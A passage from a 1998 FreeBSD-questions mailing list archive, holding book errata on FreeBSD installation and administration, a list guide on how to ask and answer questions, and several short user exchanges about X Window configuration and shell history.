/cdrom), and enter: Page 96 _______ After the example at the top of the page, add: If you're using csh or tcsh, enter: # cd /cdrom/ports/distfiles # mkdir -p /usr/ports/distfiles make sure you have a distfiles directory # foreach i (*) ? ln -s $i /usr/ports/distfiles/$i ? end Thanks to Christopher Raven for drawing this to my atten- tion. Page 128 ________ Replace the complete text below the example with the following: These values are defaults, and many are either incorrect for FreeBSD (for exam- ple the device name /dev/com1) or do not apply at all (for example Xqueue). If you are configuring manually, select one Protocol and one Device entry from the following selection. If you must use a two-button mouse, uncomment the keyword Emulate3Buttons--in this mode, pressing both mouse buttons simultaneously with- in Emulate3Timeout milliseconds causes the server to report a middle button press. Section "Pointer" Protocol "Microsoft" for Microsoft protocol mice Protocol "MouseMan" for Logitech mice Protocol "PS/2" for a PS/2 mouse Protocol "Busmouse" for a bus mouse Device "/dev/ttyd0" for a mouse on the first serial port Device "/dev/ttyd1" for a mouse on the second serial port Device "/dev/ttyd2" for a mouse on the third serial port Device "/dev/ttyd3" for a mouse on the fourth serial port Device "/dev/psm0" for a PS/2 mouse Device "/dev/mse0" for a bus mouse Emulate3Buttons only for a two-button mouse EndSection You'll notice that the protocol name does not always match the manufacturer's name. In particular, the Logitech protocol only applies to older Logitech mice. The newer ones use either the MouseMan or Microsoft protocols. Nearly all modern serial mice run one of these two protocols, and most run both. If you are using a bus mouse or a PS/2 mouse, make sure that the device driver is included in the kernel. The GENERIC kernel contains drivers for both mice, but the PS/2 driver is disabled. Use UserConfig (see page 50) to enable it. Page 140 ________ Just before the paragraph The super user add the following paragraph: If you do manage to lose the root password, all may not be lost. Reboot the machine to single user mode (see page 157), and enter: # mount -u / mount root file system read/write # passwd root change the password for root Enter new password: Enter password again: # ^D enter ctrl-D to continue with startup Note that you should explicitly state the name root: in single user mode, the system doesn't have the concept of user IDs. Page 148 ________ Replace the text at the top of the page with: Modern shells supply command line editing which resembles the editors vi or Emacs. In bash, sh, ksh, and zsh you can make the choice by entering Page 152 ________ After figure 10-8, add the following text: It would be tedious for every user to put settings in their private initializa- tion files, so the shells also read a system-wide default file. For the Bourne shell family, it is /etc/profile, while the C shell family has three files: /etc/csh.login to be executed on login, /etc/csh.cshrc to be executed when a new shell is started after you log in, and /etc/csh.logout to be executed when you stop a shell. The start files are executed before the corresponding indi- vidual files. In addition, login classes (page 141) offer another method of setting environ- ment variables at a global level. Changing your shell ___________________ The FreeBSD installation gives root a C shell, csh. This is the traditional Berkeley shell, but it has a number of disadvantages: command line editing is very primitive, and the script language is significantly different from that of the Bourne shell, which is the de facto standard for shell scripts: if you stay with the C shell, you may still need to understand the Bourne shell. The lat- est version of the Bourne shell sh also includes some command line editing. See page 148 for details of how to enable it. You can get better command line editing with tcsh, in the Ports Collection. You can get both better command line editing and Bourne shell syntax with bash, also in the Ports Collection. If you have root access, you can use vipw to change your shell, but there's a more general way: use chsh (Change Shell). Simply run the program. It starts your favourite editor (as defined by the EDITOR environment variable). Here's an example before: #Changing user database information for velte. Shell: /bin/csh Full Name: Jack Velte Location: Office Phone: Home Phone: You can change anything after the colons. For example, you might change this to: #Changing user database information for velte. Shell: /usr/local/bin/bash Full Name: Jack Velte Location: On the road Office Phone: +1-408-555-1999 Home Phone: chsh checks and updates the password files when you save the modifications and exit the editor. The next time you log in, you get the new shell. chsh tries to ensure you don't make any mistakes--for example, it won't let you enter the name of a shell which isn't mentioned in the file /etc/shells--but it's a very good idea to check the shell before logging out. You can try this with su, which you normally use to become super user: bumble# su velte Password: su-2.00$ note the new prompt There are a couple of problems in using tcsh or bash as a root shell: o The shell for root must be on the root file system, otherwise it will not work in single user mode. Unfortunately, most ports of shells put the shell in the directory /usr/local/bin, which is almost never on the root file sys- tem. o Most shells are dynamically linked: they rely on library routines in files such as /usr/lib/libc.a. These files are not available in single user mode, so the shells won't work. You can solve this problem by creating statically linked versions of the shell, but this requires programming experience beyond the scope of this book. If you can get hold of a statically linked version, perform the following steps to install it: o Copy the shell to /bin, for example: # cp /usr/local/bin/bash /bin o Add the name of the shell to /etc/shells, in this example the line in bold print: # List of acceptable shells for chpass(1). # Ftpd will not allow users to connect who are not using # one of these shells. /bin/sh /bin/csh /bin/bash You can then change the shell for root as described above. Thanks to Lars Koller for drawing this to my attention. Page 160 ________ Replace the text at the fourth bullet with the augmented text: The second-level boot locates the kernel, by default the file /kernel on the root file system, and loads it into memory. It prints the Boot: prompt at this point so that you can influence this choice--see the man page on page 579 for more details of what you can enter at this prompt. Page 176 ________ Add the following paragraph Unmounting file systems When you mount a file system, the system assumes it is going to stay there, and in the interests of efficiency it delays writing data back to the file system. This is the same effect we discussed on page 158. As a result, if you want to stop using a file system, you need to tell the system about it. You do this with the umount command. Note the spelling--there's no n in the command name. You need to do this even with read-only media such as CD-ROMs: the system as- sumes it can access the data from a mounted file system, and it gets quite un- happy if it can't. Where possible, it locks removable media so that you can't remove them from the device until you unmount them. Using umount is straightforward: just tell it what to unmount, either the de- vice name or the directory name. For example, to unmount the CD-ROM we mounted in the example above, you could enter one of these commands: # umount /dev/cd1a # umount /cd1 Before unmounting a file system, umount checks that nobody is using it. If somebody is using it, it will refuse to unmount it with a message like umount: /cd1: Device busy. This message often occurs because you have changed your di- rectory to a directory on the file system you want to remove. For example (which also shows the usefulness of having directory names in the prompt): === root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1 umount: /cd1: Device busy === root@freebie (/dev/ttyp2) /cd1 17 -> cd === root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1 === root@freebie (/dev/ttyp2) ~ 19 -> Thanks to Ken Deboy for pointing out this omission. Page 197, first line ____________________ The text of the first full sentence reads: The first name, up the the symbol, is the label. In fact, it should read: The first name, up to the | symbol, is the label. Page 208, middle of page ________________________ The example shows the file name /dev/rst0 when using the Bourne shell, and /dev/nrst0 when using C shell and friends. This is inconsistent; use /dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you want a rewinding tape. Thanks to Norman C Rice for pointing out this one. Page 219 ________ Before the section Testing the spooler add the following section: Starting the spooler ____________________ As we saw above, the line printer daemon lpd is responsible for printing spooled jobs. If you're root, you can start it by name: # lpd Normally, however, you will want it to be started automatically when the system starts up. You do this by setting the variable lpd_enable in /etc/rc.conf: lpd_enable="YES" # Run the line printer daemon See page 1609 for more details of /etc/rc.conf. Thanks to Tommy G. James for bringing this to my atten- tion. Page 242 ________ The instructions for extracting the source files from CD-ROM in the middle of page 242 are incorrect. You'll find the kernel sources on the first CD-ROM in the directory /src. Replace the example with: # mkdir -p /usr/src/sys # ln -s /usr/src/sys /sys # cd / # cat /cdrom/src/sys.* | tar xzvf - Thanks to Raymond Noel and Suttipan Limanond for finding this one. Page 283, ``Creating the source tree'' ______________________________________ Add a third point to what you need to know: 3. Possibly, the date of the last update that you want to be included in the checkout. If you specify this date, cvs ignores any more recent updates. This option is often useful when somebody discovers a recently introduced bug in -CURRENT: you check out the modules as they were before the bug was introduced. You specify the date with the -D option, for example -D "10 December 1997". Page 285, after the second example. ___________________________________ Add the text: If you need to check out an older version, for example if there are problems with the most recent version of -CURRENT, you could enter: # cvs co -D "10 December 1997" src/sys This command checks out the kernel sources as of 10 December 1997. Page 364, middle of page ________________________ Change the text from: The names MYADDR and HISADDR are keywords which represent the addresses at each end of the link. They must be written as shown, though they may be in lower case. to The names MYADDR and HISADDR are keywords which represent the addresses at each end of the link. They must be written as shown, though newer versions of ppp allow you to write them in lower case. Thanks to Mark S. Reichman for this correction. Page 397 ________ In the section ``Nicknames'', the example should read: www IN CNAME freebie ftp IN CNAME presto In other words, there should be a space between CNAME and the system name. Page 466, before the ps example _______________________________ Add another bullet: o Finally, you may find it convenient to let some other system handle all your mail delivery for you: you just send anything you can't deliver locally to this other host, which sendmail calls a smart host. This is particularly convenient if you send your mail with UUCP. To tell sendmail to use a smart host (in our case, mail.example.net), find the following line in sendmail.cf: # "Smart" relay host (may be null) DS Change it to: # "Smart" relay host (may be null) DSmail.example.net Page 478, ``Running Apache'' ____________________________ The text describes the location of the server as /usr/local/www/server/httpd. This appears to depend on where you get the port from. Some people report the file being at the more likely location /usr/local/sbin/httpd (though note the directory sbin, not bin). Check both locations if you run into trouble. Thanks to Sue Blake for this information. Page 493 ________ Replace the last sentence on the page with: Select the socket options TCP_NODELAY and IPTOS_LOWDELAY, which can speed up the response time of such applications by over 95%. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:02:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17232 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:02:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA17164 for ; Fri, 10 Apr 1998 17:02:05 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul4.u.washington.edu (root@saul4.u.washington.edu [140.142.83.2]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA14080; Fri, 10 Apr 1998 17:02:01 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA25915; Fri, 10 Apr 1998 17:02:00 -0700 (PDT) Date: Fri, 10 Apr 1998 16:00:47 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Capriotti cc: freebsd-questions@FreeBSD.ORG Subject: Re: X, IBM monitor and Diamond Edge 3D In-Reply-To: <3.0.32.19980410225724.00928990@pop.mpc.com.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Capriotti wrote: > Hi ! > > Trying to run X on my nvidia chipset Edge 3D seems fine. > > The card does not accept virtual resolutions, but it's fine. > > Problem: Can't cycle the resolutions. The server claims the 680/480 and > 800x600 are not supported. It claims that "virtual desktop not supported". If you go to the directory where your logfile is (e.g. /usr/X11R6/lib/X11/xdm/xsession-errors) you will see which display modes were deleted and why. 640 and 800 mode are probably supported but may require you to craft your own mode lines in '/etc/XF86Config' You will get a "virtual desktop" error if the mode you are using does not leave you enough memory to map the extra pixels. > and, just to complete the scenario, the 1024x768 works, but due to some > refresh rate issue - i guess - the screen shows small (a small square using > 1/3 to 1/4 of the screen area, in the midle of the monitor, and the image > is "bent", curve sides. This "bent"-ness is called pin cushion. There is a very good source for setting up X on the web, but I can't recall where. Search (X and video and mode and timings) to find it. See also: 'man xf86config' and 'man xvidtune'. Be careful. It is possible to cause damage to your video equipment if you are careless. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:02:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17228 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:02:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: (from grog@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA17177 for FreeBSD-questions@FreeBSD.org; Fri, 10 Apr 1998 17:02:10 -0700 (PDT) (envelope-from grog) Date: Fri, 10 Apr 1998 17:02:10 -0700 (PDT) From: Greg Lehey Message-Id: <199804110002.RAA17177@hub.freebsd.org> To: FreeBSD-questions@FreeBSD.ORG Subject: How to get best results from FreeBSD-questions (updated 27 October 1997) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How to get the best results from FreeBSD questions. =================================================== Last update 23 February 1998 This is a regular posting to the FreeBSD questions mailing list. If you got it in answer to a message you sent, it means that the sender thinks that at least one of the following things was wrong with your message: - You left out a subject line, or the subject line was not appropriate. - You formatted it in such a way that it was difficult to read. - You asked more than one unrelated question in one message. - You sent out a message with an incorrect date, time or time zone. - You sent out the same message more than once. - You sent an 'unsubscribe' message to FreeBSD-questions. If you have done any of these things, there is a good chance that you will get more than one copy of this message from different people. Read on, and your next message will be more successful. This document is also available on the web at http://www.lemis.com/questions.html. ===================================================================== Contents: I: Introduction II: How to unsubscribe from FreeBSD-questions III: Should I ask -questions or -hackers? IV: How to submit a question to FreeBSD-questions V: How to answer a question to FreeBSD-questions I: Introduction =============== This is a regular posting aimed to help both those seeking advice from FreeBSD-questions (the "newcomers"), and also those who answer the questions (the "hackers"). Note that the term "hacker" has nothing to do with break- ing into other people's computers. The correct term for the latter activity is "cracker", but the popular press hasn't found out yet. The FreeBSD hackers disapprove strongly of cracking security, and have nothing to do with it. In the past, there has been some friction which stems from the different viewpoints of the two groups. The newcomers accused the hackers of being arrogant, stuck-up, and unhelpful, while the hackers accused the newcomers of being stupid, unable to read plain English, and expecting everything to be handed to them on a silver platter. Of course, there's an element of truth in both these claims, but for the most part these viewpoints come from a sense of frustration. In this document, I'd like to do something to relieve this frustration and help everybody get better results from FreeBSD-questions. In the following section, I recommend how to submit a question; after that, we'll look at how to answer one. II: How to unsubscribe from FreeBSD-questions ============================================== When you subscribed to FreeBSD-questions, you got a welcome message from Majordomo@FreeBSD.ORG. In this message, amongst other things, it told you how to unsubscribe. Here's a typical message: Welcome to the freebsd-questions mailing list! If you ever want to remove yourself from this mailing list, you can send mail to "Majordomo@FreeBSD.ORG" with the following command in the body of your email message: unsubscribe freebsd-questions Greg Lehey Here's the general information for the list you've subscribed to, in case you don't already have it: FREEBSD-QUESTIONS User questions This is the mailing list for questions about FreeBSD. You should not send "how to" questions to the technical lists unless you consider the question to be pretty technical. Normally, unsubscribing is even simpler than the message suggests: you don't need to specify your mail ID unless it is different from the one which you specified when you subscribed. If Majordomo replies and tells you (incorrectly) that you're not on the list, this may mean one of two things: 1. You have changed your mail ID since you subscribed. That's where keeping the original message from majordomo comes in handy. For example, the sample message above shows my mail ID as grog@lemis.de. Since then, I have changed it to grog@lemis.com. If I were to try to remove grog@lemis.com from the list, it would fail: I would have to specify the name with which I joined. 2. You're subscribed to a mailing list which is subscribed to FreeBSD-questions. If that's the case, you'll have to figure out which one it is and get your name taken off that one. If you're not sure which one it might be, check the headers of the messages you receive from freebsd-questions: maybe there's a clue there. If you've done all this, and you still can't figure out what's going on, send a message to Postmaster@FreeBSD.org, and he will sort things out for you. Don't send a message to FreeBSD-questions: they can't help you. III: Should I ask -questions or -hackers? ========================================= Two mailing lists handle general questions about FreeBSD, FreeBSD-questions and FreeBSD-hackers. In some cases, it's not really clear which group you should ask. The following criteria should help for 99% of all questions, however: If the question is of a general nature, ask FreeBSD-questions. Examples might be questions about intstalling FreeBSD or the use of a particular UNIX utility. If you think the question relates to a bug, but you're not sure, or you don't know how to look for it, send the message to FreeBSD-questions. If the question relates to a bug, and you're sure that it's a bug (for example, you can pinpoint the place in the code where it happens, and you maybe have a fix), then send the message to FreeBSD-hackers. If the question relates to enhancements to FreeBSD, and you can make suggestions about how to implement them, then send the message to FreeBSD-hackers. There are also a number of other specialized mailing lists, for example FreeBSD-isp, which caters to the interests of ISPs (Internet Service Providers) who run FreeBSD. If you happen to be an ISP, this doesn't mean you should automatically send your questions to FreeBSD-isp. The criteria above still apply, and it's in your interest to stick to them, since you're more likely to get good results that way. IV: How to submit a question ============================= When submitting a question to FreeBSD-questions, consider the following points: 1. Remember that nobody gets paid for answering a FreeBSD question. They do it of their own free will. You can influence this free will positively by submitting a well-formulated question supplying as much relevant information as possible. You can influence this free will negatively by submitting an incomplete, illegible, or rude question. It's perfectly possible to send a message to FreeBSD-questions and not get an answer even if you follow these rules. It's much more possible to not get an answer if you don't. In the rest of this document, we'll look at how to get the most out of your question to FreeBSD-questions. 2. Not everybody who answers FreeBSD questions reads every message: they look at the subject line and decide whether it interests them. Clearly, it's in your interest to specify a subject. ``FreeBSD problem'' or ``Help'' aren't enough. If you provide no subject at all, many people won't bother reading it. If your subject isn't specific enough, the people who can answer it may not read it. 3. Format your message so that it is legible, and PLEASE DON'T SHOUT!!!!!. We appreciate that a lot of people don't speak English as their first language, and we try to make allowances for that, but it's really painful to try to read a message written full of typos or without any line breaks. A lot of badly formatted messages come from bad mailers or badly configured mailers. The following mailers are known to send out badly formatted messages without you finding out about them: Eudora exmh Microsoft Exchange Microsoft Internet Mail Microsoft Outlook Netscape As you can see, the mailers in the Microsoft world are frequent offenders. If at all possible, use a UNIX mailer. If you must use a mailer under Microsoft environments, make sure it is set up correctly. Try not to use MIME: a lot of people use mailers which don't get on very well with MIME. For further information on this subject, check http://www.lemis.com/email.html. 4. Make sure your time and time zone are set correctly. This may seem a little silly, since your message still gets there, but many of the people you are trying to reach get several hundred messages a day. They frequently sort the incoming messages by subject and by date, and if your message doesn't come before the first answer, they may assume they missed it and not bother to look. 5. Don't include unrelated questions in the same message. Firstly, a long message tends to scare people off, and secondly, it's more difficult to get all the people who can answer all the questions to read the message. 6. Specify as much information as possible. This is a difficult area, and we need to expand on what information you need to submit, but here's a start: If you get error messages, don't say ``I get error messages'', say (for example) ``I get the error message 'No route to host'''. If your system panics, don't say ``My system panicked'', say (for example) ``my system panicked with the message 'free vnode isn't'''. If you have difficulty installing FreeBSD, please tell us what hardware you have. In particular, it's important to know the IRQs and I/O addresses of the boards installed in your machine. If you have difficulty getting PPP to run, describe the configuration. Which version of PPP do you use? What kind of authentication do you have? Do you have a static or dynamic IP address? What kind of messages do you get in the log file? 7. If you do all this, and you still don't get an answer, there could be other reasons. For example, the problem is so complicated that nobody knows the answer, or the person who does know the answer was offline. If you don't get an answer after, say, a week, it might help to re-send the message. If you don't get an answer to your second message, though, you're probably not going to get one from this forum. Resending the same message again and again will only make you unpopular. To summarize, let's assume you know the answer to the following question (yes, it's the same one in each case :-). You choose which of these two questions you would be more prepared to answer: Message 1: Subject: (none) I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong. ---------------------------------------------------------------------- Message 2: Subject: Problems installing FreeBSD I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm having a lot of difficulty installing it. I have a 66 MHz 486 with 16 MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball disk and a Toshiba 3501XA CD-ROM drive. The installation works just fine, but when I try to reboot the system, I get the message "Missing Operating System". ---------------------------------------------------------------------- V: How to answer a question =========================== Before you answer a question to FreeBSD-questions, consider: 1. A lot of the points on submitting questions also apply to answering questions. Read them. 2. Has somebody already answered the question? The easiest way to check this is to sort your incoming mail by subject: then (hopefully) you'll see the question followed by any answers, all together. If somebody has already answered it, it doesn't automatically mean that you shouldn't send another answer. But it makes sense to read all the other answers first. 3. Do you have something to contribute beyond what has already been said? In general, "Yeah, me too" answers don't help much, although there are exceptions, like when somebody is describing a problem he's having, and he doesn't know whether it's his fault or whether there's something wrong with the hardware or software. If you do send a "me too" answer, you should also include any further relevant information. 4. Are you sure your answer is correct? If not, wait a day or so. If nobody else comes up with a better answer, you can still reply and say, for example, "I don't know if this is correct, but since nobody else has replied, why don't you try replacing your ATAPI CD-ROM with a frog?". 5. Don't do a group reply; lots of people send messages with hundreds of CCs. Unless there's a good reason to do otherwise, just reply to the person and copy FreeBSD-questions. 6. Trim the original message to the minimum, and use some technique to identify which text came from the original message, and which text you add. I personally find that prepending "> " to the original message works best. Leaving white space after the ">" and leave empty lines between your text and the original text both make the result more readable. Most mailers change the subject line on a reply by prepending a text such as "Re: ". If your mailer doesn't do it automatically, you should do it manually. If the submitter didn't abide by format conventions (lines too long, inappropriate subject line), *please* fix it. In the case of an incorrect subject line (such as "HELP!!??"), change the subject line to (say) "Re: Difficulties with sync PPP (was: HELP!!??)". That way other people trying to follow the thread will have less difficulty following it. In such cases, it's appropriate to say what you did and why you did it, but try not to be rude. If you find you can't answer without being rude, don't answer. If you just want to reply to a message because of its bad format, just reply to the submitter, not to the list. You can just send him this message in reply, if you like. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:06:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA18465 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:06:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA18195 for ; Fri, 10 Apr 1998 17:05:32 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA30088; Fri, 10 Apr 1998 17:05:26 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA02479; Fri, 10 Apr 1998 17:05:25 -0700 (PDT) Date: Fri, 10 Apr 1998 16:04:18 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: "Ian O'Friel" cc: freebsd-questions@FreeBSD.ORG Subject: Re: X-Windows In-Reply-To: <002401bd64b3$d7960a60$c2f14ac2@metallica> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Ian O'Friel wrote: > Could Anyone give me the addresses for some UNIX/Linux/FreeBSD FAQ's. I am looking for some on the following subjects. > > Basic - Usage > X-Windows > Setting up a Server > Making Ports > > I am looking for Beginners FAQ's, As I only started using FreeBSD last > Monday. I have FreeBSD 2.2.5 on a Compaq MediaGX 133. When I try to > start X-Windows using the startx command it tells mesomething about a > Mode not being Set and something about ViewPort ?!? Does anyone have > any ideas. > > Can someone tell me how I can subscribe to this list ?? Go to http://www.freebsd.org/ The same place that you got this address is where you learn how to subscribe to the list. Regarding the "mode" message; see 'man xf86config' and 'man X' and 'man XF86Config'. You probably have to run 'xf86config' to tell X which video card and monito you have. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:09:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA19757 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:09:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from nothing.infoinsights.com ([208.151.124.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA19582 for ; Fri, 10 Apr 1998 17:08:52 -0700 (PDT) (envelope-from dustin@infoinsights.com) Received: from localhost (dustin@localhost) by nothing.infoinsights.com (8.8.7/8.8.7) with SMTP id QAA06535; Fri, 10 Apr 1998 16:08:25 -0800 (AKDT) (envelope-from dustin@infoinsights.com) Date: Fri, 10 Apr 1998 16:08:25 -0800 (AKDT) From: Dustin Andrews To: "Ian O'Friel" cc: freebsd-questions@FreeBSD.ORG Subject: Re: X-Windows In-Reply-To: <002401bd64b3$d7960a60$c2f14ac2@metallica> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY="----=_NextPart_000_0020_01BD64BC.152DE340" Content-ID: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ------=_NextPart_000_0020_01BD64BC.152DE340 Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1 Content-ID: Well for the docs try www.freebsd.org. Good luck. -- Dustin Andrews, 907 452-2461 -- Email: dustin@infoinsights.com dustina@mindless.com "I see the light at the end of the tunnel, someone please tell me that it's not a train" --Cracker On Fri, 10 Apr 1998, Ian O'Friel wrote: }Could Anyone give me the addresses for some UNIX/Linux/FreeBSD FAQ's. I am looking for some on the following subjects. } }Basic - Usage }X-Windows }Setting up a Server }Making Ports } }I am looking for Beginners FAQ's, As I only started using FreeBSD last Monday. I have FreeBSD 2.2.5 on a Compaq MediaGX 133. When I try to start X-Windows using the startx command it tells mesomething about a Mode not being Set and something about ViewPort ?!? Does anyone have any ideas. } }Can someone tell me how I can subscribe to this list ?? } }Thanx, C-Ya l8r }Ian } ------=_NextPart_000_0020_01BD64BC.152DE340 Content-Type: TEXT/HTML; CHARSET=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-ID: Content-Description:
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------=_NextPart_000_0020_01BD64BC.152DE340-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:16:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA21170 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:16:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA21146 for ; Fri, 10 Apr 1998 17:15:37 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul9.u.washington.edu (root@saul9.u.washington.edu [140.142.82.7]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA04448 for ; Fri, 10 Apr 1998 17:15:33 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul9.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id RAA15899 for ; Fri, 10 Apr 1998 17:15:33 -0700 (PDT) Date: Fri, 10 Apr 1998 16:14:25 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: FreeBSD-questions Subject: Post by Apple Comp. Rep Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Recently, a person from Apple posted to this list regarding using FreeBSD code in their software and commiting change/recommendations back to the project. What became of this? I am drooling at the prospect of running FreeBSD on G3 especially if Apple is willing to do all of the work to port the OS. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:19:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA21681 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:19:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail2.ahnet.net [207.213.224.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA21627 for ; Fri, 10 Apr 1998 17:18:09 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p16.apc.net [207.211.76.170]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id RAA25698 for ; Fri, 10 Apr 1998 17:10:42 -0700 (PDT) Message-Id: <3.0.5.32.19980410171412.009006c0@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Fri, 10 Apr 1998 17:14:12 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: History Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi: I'm having problems using the history. I know it's supposed to be stored in .history (using sh), and used by pushing the up & down keys. Well, it doesn't work! First, it isn't getting stored, and second, when I push up, it prints '^[[A' on the console. Thanks for any help in advance! Dima --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 17:21:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA22152 for freebsd-questions-outgoing; Fri, 10 Apr 1998 17:21:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from oblivion.esgroup.net (root@oblivion.esgroup.net [209.52.174.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA22036 for ; Fri, 10 Apr 1998 17:19:38 -0700 (PDT) (envelope-from john@esic.net) Received: from esic.net (dial-80.ocis.net [209.52.173.212]) by oblivion.esgroup.net (8.8.8/ESIC) with ESMTP id RAA06473 for ; Fri, 10 Apr 1998 17:19:32 -0700 (PDT) Message-ID: <352E5484.14F8AC4E@esic.net> Date: Fri, 10 Apr 1998 17:19:00 +0000 From: John Cuzzola X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: 